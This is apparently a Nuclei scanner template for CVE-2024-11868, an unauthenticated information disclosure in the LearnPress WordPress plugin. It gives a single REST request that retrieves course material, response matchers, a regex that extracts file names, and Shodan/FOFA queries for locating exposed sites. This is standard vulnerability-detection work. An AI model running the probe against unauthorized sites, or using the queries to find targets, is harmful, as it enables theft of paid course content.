LearnPress < 4.2.7.4 - Course Material - Information Disclosure

id: CVE-2024-11868

info:
  name: LearnPress < 4.2.7.4 - Course Material - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    LearnPress – WordPress LMS Plugin contains a sensitive information exposure caused by insecure handling in class-lp-rest-material-controller.php, letting unauthenticated attackers extract paid course material, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access and extract sensitive paid course content, leading to intellectual property theft and privacy breaches.
  remediation: Update to the latest version beyond 4.2.7.3 or apply security patches provided by the vendor.
  reference:
    - https://wpscan.com/vulnerability/7524ffd8-3506-48f7-89b6-d07b40533756/8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-11868
    epss-score: 0.01162
    epss-percentile: 0.66043
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    publicwww-query: "/wp-content/plugins/learnpress/"
    fofa-query: body="/wp-content/plugins/learnpress/"
    shodan-query: http.html:"/wp-content/plugins/learnpress/"
  tags: cve,cve2024,wordpress,wp-plugin,wp-scan,learnpress,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/lp/v1/material/item-materials/1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status"'
        condition: and

      - type: word
        part: body
        words:
          - '"success"'
          - '"message"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        words:
          - 'rest_no_route'
          - 'No route was found'
        negative: true
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: material_file
        part: body
        regex:
          - '"file_name"\s*:\s*"([^"]+)"'
        group: 1
# digest: 4a0a004730450221008b2005da5ddcb2e2bf1827ea4409c474fada6581a336450ea53460bf419f07bb02206450bd3ff14a6a8303e655d56d719dc8bb0405afbf9d7d687ef65afec07651e7:922c64590222798bb761d5b6d8e72950